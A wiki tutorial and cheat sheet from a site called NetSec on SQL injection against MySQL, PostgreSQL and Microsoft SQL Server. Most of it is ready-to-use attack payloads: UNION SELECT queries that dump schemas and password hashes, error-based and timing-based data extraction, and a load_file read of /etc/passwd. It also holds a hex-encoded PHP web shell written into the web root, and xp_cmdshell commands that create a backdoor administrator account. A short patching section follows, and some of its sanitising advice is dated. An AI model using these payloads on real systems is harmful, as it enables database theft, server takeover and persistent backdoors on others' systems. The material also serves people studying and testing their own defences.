Questions about this topic? Sign up to ask in the talk tab.

Category:SQL injection

From NetSec
Jump to: navigation, search

SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation.

Typically, databases include things like (but not limited to):

  • Authentication credentials
  • Other identifying information about a user (like an IP address)
  • Site configurations
  • Site content and themes
  • Communications between users within the site
SQL injection requires a basic understanding of SQL and manipulation of SQL data

Intermediate SQL injection

There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness.

Example testing is not included for UPDATE or INSERT queries using subqueries. In those cases, it is best to escape the argument, use a comma delimiter, and testing using integers until the right number of columns is found. Then substitute column values for insert and delete using subqueries that return a single cell rather than a single byte, similar to single-byte exfiltration

Automation theory

The most important thing when automating SQL injection is recognizing boundaries.

Loop Delimeters:

  • Length of single cell strings (length sql functions)
  • Number of rows returned by a query (count sql functions)
SELECT COUNT(column_name) FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND table_schema=[DATABASE]

Obtaining data types:

  • Data types of single cells (type from information_schema.columns)
SELECT column_type FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND column_name=[column_name] AND table_schema=[DATABASE]
Protip: It is a good idea to use order by every time injection occurs in case results are not constant due to where clause restraints.

Sometimes integer values won't be able to be selected when using error-based injection. There's more than one way to solve this.

  • Predefined scope

Use ORDER by to find the upper most row and lower most row of the results set. It can be stopped by starting at an element on one end and then keeping the order by clause intact, incrementing the offset; it will stop when it has reached the value on the other end of the table.

    $stop_value  = "select id from table order by id desc limit 1 offset 0";
    $start_query = "select id from table order by id asc limit 1 offset 0";

In the loop:

    $loop_query = "select id from table order by id asc limit 1 offset $counter";

When the value returned by $loop_query equals the value from $stop_query, terminate the loop.

  • Cast and concatenate

attempt to string concatenate a character to the integer to throw an error.

Here are a few variables to be aware of while writing automated exploit software.


  • Row Counter
  • Byte Index Counter

Temporary Variables:

  • Length of current target cell
  • Number of rows in current target table

SQL Dialect Variables:

  • Sanitized Syntax Characters
  • Whitespace character(s)
  • String concatenation operator
  • Comment syntax

Basic Injection : Union Select

  • The UNION operator allows collection of the output of two SELECT statments with UNION ALL SELECT or UNION SELECT so long as the results have the

same number of columns:


Determining the number of columns

The number of columns can be determined using ORDER BY injection and incrementing a field index, for example:

 /article.php?id=1 ORDER BY 1 asc
 /article.php?id=1 ORDER BY 2 asc
  • When the page no longer displays, a boundary has been hit. The largest number in the order by clause that still allows the page to display properly is the number of columns.

Extracting data

If the number of columns is known in a table (for example, by using the ORDER BY injection technique), the following injection can be used assuming that there are 2 columns:

 /article.php?id=5 UNION ALL SELECT 1,2/*
Protip: Sometimes UNION ALL SELECT will not work, but UNION SELECT will, and vice versa. This has to do with the SQL engine and vulnerable web application's programming or SQL queries. Additionally, an invalid ID may be set(e.g. -1) to get the data the UNION SELECT returns to display on the page.
  • This generates the following query:
Notice: This selects every entry where both id=5 and where column = 1 or 2. If the number 1 or 2 was outputted, UNION would be demonstrated to work. If 2 was output, it is known that the application's programming displays the second column on the page. (This could be any column, really.)
  • An example of SQL injection using union select to obtain the SQL version:
 /article.php?id=-1 UNION ALL SELECT 1,version()/*

The version information should now be displayed in the area where the number `2' originally displayed.

  • Once we know this, obtaining data is as simple as setting up the query as a simple select:
 /article.php?id=-1 UNION ALL SELECT 1,table_name from information_schema.tables where table_schema=database() limit 1/*

In this case, the first table name in the current database should be displayed in stead of the version information.

  • This particular injection appears at first glance to be limited to a single entry (unless more columns are available for display), but in truth one can use the string concatenation functions or operators (+, ||, concat(), group_concat(), etc) to display the contents of several columns and/or rows as a single string:
 /article.php?id=-1 UNION ALL SELECT 1,group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database()/*
  • Which would format a map of a MySQL database in the format:
 table1.column1, table1.column2, table2.column1

The amount of data that can be returned returned by the group_concat() function is set by a session environment variable.

Intermediate testing: "SELECT" ... LIMIT clause injections

Protip: Microsoft SQL Server does not feature this classification of vulnerability due to its lack of a LIMIT clause, however similar techniques to the LIMIT clause attack will work on it as well as other database engines:
  • GROUP BY clause injection
  • ORDER BY clause injection
To test for injection in a LIMIT clause, it is first necessary to determine which input of the LIMIT clause that is being injected into. The following example URI will be used:
c3el4.png A LIMIT clause may have two different inputs, one being the number of rows to return, the other being what row to start from when selecting the rows. On recent versions of MySQL the limit clause syntax is congruent to PostgreSQL syntax:
LIMIT $perpage OFFSET $start
c3el4.png On older versions of MySQL, the offset operator was not supported. In those cases the older syntax will be used:
LIMIT $start,$perpage
  • Because the input is located at either $start or $perpage in a LIMIT clause, it can be deduced that:
 UNION SELECT is the only available method for successful exploitation.
 The rest of the query will have to be commented out for successful exploitation.
  • In order to access UNION SELECT if there are data limitations:
 The LIMIT clause must be given an impossible starting offset so that no data will be displayed,
 making room for data returned by the UNION SELECT.  The offset will have to be a larger number
 than the number of rows returned by the query.

Intermediate injection: information retrieval via verbose errors

This technique relies on the following database and application characteristics:

  • Sometimes databases display errors containing selected data even though union select is not an option.
  • Sometimes the application will display SQL errors on the page.
Protip: There are two ways to cause errors that contain data:
  • An impossible cast
  • A duplicate key in a group by statement

When a web application displays its SQL errors, there's a few things that can be done to make errors display data along with them. In each of the examples below, the @@database variable or current_database()/database() functions return what can be seen for error output. These can be replaced with any subquery'd select statement that returns a single cell.

  • MSSQL:
  • MySQL:
 AND 1=2 OR ROW(1,1) > (SELECT COUNT(*),concat(DATABASE(),0x3a,FLOOR(rand()*2) ) x FROM (SELECT 1 UNION SELECT 2) a GROUP BY x LIMIT 0,1)
  • PostgreSQL:
 AND 3=5 OR (SELECT CAST(current_database() AS NUMERIC)) = (SELECT CURRENT_USER())

Expert: Automated Single-byte exfiltration

There are multiple types of single byte exfiltration attacks:

  • Timing based
  • Pre-computation based

The only three things that all of these methods have in common is:

  • These attacks are all limited in some fashion because of local environment and latency or remote environment and dataset.
  • The target environment must not filter or otherwise restrict the use of commas (,); regular expressions will not work here because injected queries are selecting rather than comparing the value of a single byte.
  • You must not be afraid of programming.

Timing-based single-byte exfiltration

RPU0j.png If not on a LAN when this technique is utilized, buggy and unpredictable results will be attained.

This testing is ideal when:

  • It is taking place on a relatively low latency network
  • There is access to a consistent latency and the remote page has a consistent load time (may not vary by more than 0.5 seconds)

Single byte exfiltration takes less queries to perform the same results, and leaves a smaller log footprint.

  • A timer will need to be used to see how long it takes the remote server to serve the page.

Examples of timing-based single-byte exfiltration:

  • Exfiltrating the first character of the database name in a single request:
  AND sleep(ascii(SUBSTRING(@@DATABASE,1,1)))                  -- MySQL
  AND pg_sleep(ascii(SUBSTRING(current_database,1,1))) IS NULL -- PostgreSQL
By timing these (in seconds) the integer value of the ascii code of the first character of the database will be attained.

The comparative precomputation attack

This attack relies heavily on the remote dataset for successful exploitation and is thus less reliable than other methods. This significantly differs from previously discovered single-byte exfiltration techniques because:

  • It is based on precomputation
  • It is not a timing attack


  • The query which is being injecting into must have at least 254 rows
  • The precomputation attack is compatible with all database backends.
Precomputation is done for performance reasons. At the very least, a comparative test will be required. The more complex a remote site is (random content generation, etc), the more difficult this type of attack becomes to automate.
  • Examining the following query:
  $query = "select * from articles where id=$input"; 
  • And the following uri:
  • Testing can be used to see if there are 255 articles by visiting:
 /articles.php?id=255 Follow the next steps for automation (and sanity's) sake:
  • Choose a language supporting something similar to array_flip() for programming the automation tool.
  • Write a loop to download each article
  • In the loop, populate an array (using integer indexes) with checksum hashes as values
  • Flip the array

Almost done!

  • Then the following visit can take place:
  • Checksum the output
  • Now accessing the checksums array using the checksum of the output as the key:
  $ascii_code = $checksums[$output_checksum]; 

And the value of a byte has been determined.

Protip: This attack can be extended by:
  • Using arithmetic operators to get sequential id's offset from 0-255 (e.g. /articles.php?id=(select ascii(substr(user(),1,1))+67)
  • Using MySQL field operators and a static query that returns id's to bypass the requirement for the id's to be sequential

Further penetration

Most demonstrated methods require additional privileges

Obtaining direct database access

Requires a privileged user or valid privilege escalation

There are several methods for obtaining direct database access so that log in can occur remotely.

  SELECT load_file('/path/to/config.php');
  • After escalating privileges to administrator of the web application using its administrative interface to run queries directly find the authentication credentials in the configuration file with a file editor

Obtaining authentication credentials from the web application's configuration file using code-execution after privilege escalation


localhost:~ $ find -name \*conf\*.php -exec grep -iHn "user\|name\|pass\|host" '{}' \;

Obtaining filesystem access

This will require MySQL, depend on the SQL server configuration as well as the OS configuration, the user in context must have the FILE privilege.

  • load_file()
Mysql's load_file() function takes a single string literal (it can be bypassed with 0x[hex]) as a filename and returns either the file contents as a single-cell string or null if the query failed for any reason.
  • select ... into outfile
into outfile is limited in that it cannot receive a string literal, but must be a constant.

Examples of these are located in the priveleged MySQL cheat sheet.

Obtaining code execution

It is possible that the administrative interface will contain template and theme editors and the ability to add/modify/delete PHP or other interpreted languages in the associated files. Knowing this is just one more reason to make a beeline for the user table for the affected web application and get to cracking the authentication credentials for the admin user.

By ending the query with a semicolon or comment delimiter and beginning a new query, we can get MS SQL to run

;exec master..xp_cmdshell 'net user hacker hacker_password /add'
;exec master..xp_cmdshell 'net localgroup administrators hacker /add'
/url.asp?ArticleID=1;exec master..xp_cmdshell 'net user hacker hackerpassword /add';--
/url.asp?ArticleID=1;exec master..xp_cmdshell 'net localgroup administrators hacker /add';--

Cheat Sheets

Vulnerability testing

Protip: Using the compacted best true and false statements for compatibility and evasion here. If problems occur, recommended reading is remote testing or defeating sql injection filters.

Universal true and false statements

Notice: The accuracy of this stuff has been ensured. If missing any universal testing operators, please let us know.
  • Standard operators (Universal):
AND 230984752 = 230984752
AND 1023947182234 = 4382616621386497
  • The Between ... And ... operators (Universal):
AND 238829 BETWEEN 238826 AND 238927
AND 328961 BETWEEN 928172 AND 986731
  • The LIKE operator (Universal):
AND 'sqltest' LIKE 'sql%'
AND 'sqltest' LIKE 'not true'
  • The REGEXP operator (RLIKE in Microsoft SQL and the "~" character in PostgreSQL, Universal):
AND 'sqltest' REGEXP '^sql'
AND 'sqltest' REGEXP '^false'

MySQL syntax reference

  • Comment notation:
 /*   [*/]
 %23 (# urlencoded) 
  • Handy functions, statements, and Environment Variables:
  COUNT([column_name]) FROM [TABLE_NAME]
  concat([column_name],0x2f,[column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT]
  group_concat([column_name],0x2f,[column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT]
  • The need for quotes can be evaded by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if "select 'jj'" is run.

Mysql versions >= 5 user schema mapping (unprivileged)

  • Show Databases Equivilent:
 SELECT schema_name FROM information_schema.schemata LIMIT 1 offset 0
  • Show Tables Equivilent
 SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0
  • Show Fields Equivilent
SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND TABLE_NAME=([TABLE query]) LIMIT 1 offset 0

Privileged MySQL (any version) user

  • Get mysql usernames and password hashes:
 SELECT concat(USER,0x2f,password) FROM mysql.user LIMIT 1
  • Grab /etc/passwd
SELECT load_file(0x2f6574632f706173737764)
  • Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs
 SELECT 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e INTO OUTFILE '/var/www/localhost/htdocs/.shell.php'

PostgreSQL syntax reference

Handy functions & Environment Variables include:


Quick and common string concatenations:

c3el4.png String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select chr(97)||chr(97)" is the same as "select 'aa'".
  • Congruent to select 'BASE TABLE';:
      (SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69))
  • Congruent to select 'pg_catalog';:
      (SELECT CHR(112)||CHR(103)||CHR(95)||CHR(99)||CHR(97)||CHR(116)||CHR(97)||CHR(108)||CHR(111)||CHR(103))
  • Congruent to select 'information_schema';:
      (SELECT CHR(105)||CHR(110)||CHR(102)||CHR(111)||CHR(114)||CHR(109)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(95)||CHR(115)||CHR(99)||CHR(104)||CHR(101)||CHR(109)||CHR(97))

PostgreSQL schema mapping

  • \dn equivilent:
  SELECT schema_name FROM information_schema.schemata WHERE catalog_name=current_database() LIMIT 1 offset 0
  • \dt equivilent:
  SELECT TABLE_NAME FROM information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) AND catalog_name=current_database() LIMIT 1 offset 0
  • \d [table_name] equivilent:
  SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=([table_query]) AND table_schema=(schema_query) AND catalog_name=current_database() LIMIT 1 offset 0

Microsoft SQL syntax reference

  • Handy functions, statements, and Environment Variables:
c3el4.png String concatenation is preformed in Microsoft SQL via the + character.

Microsoft SQL schema mapping (unprivileged)

  • Obtaining the first table:
  • Obtaining the first column:
  SELECT top 1 column_name FROM (SELECT top 1 column_name FROM information_schema.columns WHERE table_catalog=@@DATABASE AND TABLE_NAME='[table_name]' 
    GROUP BY column_name ORDER BY column_name ASC) sq GROUP BY column_name ORDER BY column_name DESC

Privileged microsoft SQL injection

  • Command Execution:
;%0a%0dexec master..xp_cmdshell 'net user hacker hackerpassword /add';--
;%0a%0dexec master..xp_cmdshell 'net localgroup administrators hacker /add';--
SELECT * FROM sysobjects WHERE type='U'

Patching SQL Injection Vulnerabilities

The security analyst says
"Either sanitize the inputs properly, or use prepared statements. Obviously, today's countermeasures for sql injection are easily bypassed."
  • Ruby input sanitizing:
  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | var = HTMLEntities.encode(var,:basic:)
SQL Injection      | String  | MySQL      | var = Mysql.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = PGconn.escape_string(var)
XSS, SQL Injection | Integer | Any        | var = var.to_i
  • PHP input sanitizing:
  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | $var = htmlentities($_GET['var'],ENT_QUOTES);
SQL Injection      | String  | MySQL      | $var = mysql_real_escape_string($_GET['var']);
SQL Injection      | String  | PostgreSQL | $var = pg_escape_string($_GET['var']);
XSS, SQL Injection | Integer | Any        | $var = (int)$_GET['var'];
c3el4.png Python2.4 and newer defaults to using prepared statements. Thus, this table only refers to legacy applications built in python versions < 2.4 that require manual sanitizing.
[Sanitizes For] | [Type] | [Engine] | [Example]
XSS, SQL Injection | String  | Any        | var = urllib.urlencode(var)
SQL Injection      | String  | MySQL      | var = conn.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = psycopg2.extensions.adapt(var)
XSS, SQL Injection | Integer | Any        | var = int(var)

Protip: Most researchers to date considers the use of prepared statements to be perfectly safe due to the basic differences in query implementations.

Further reading

Related Content:

Related Tools:

External Links:

This category currently contains no pages or media.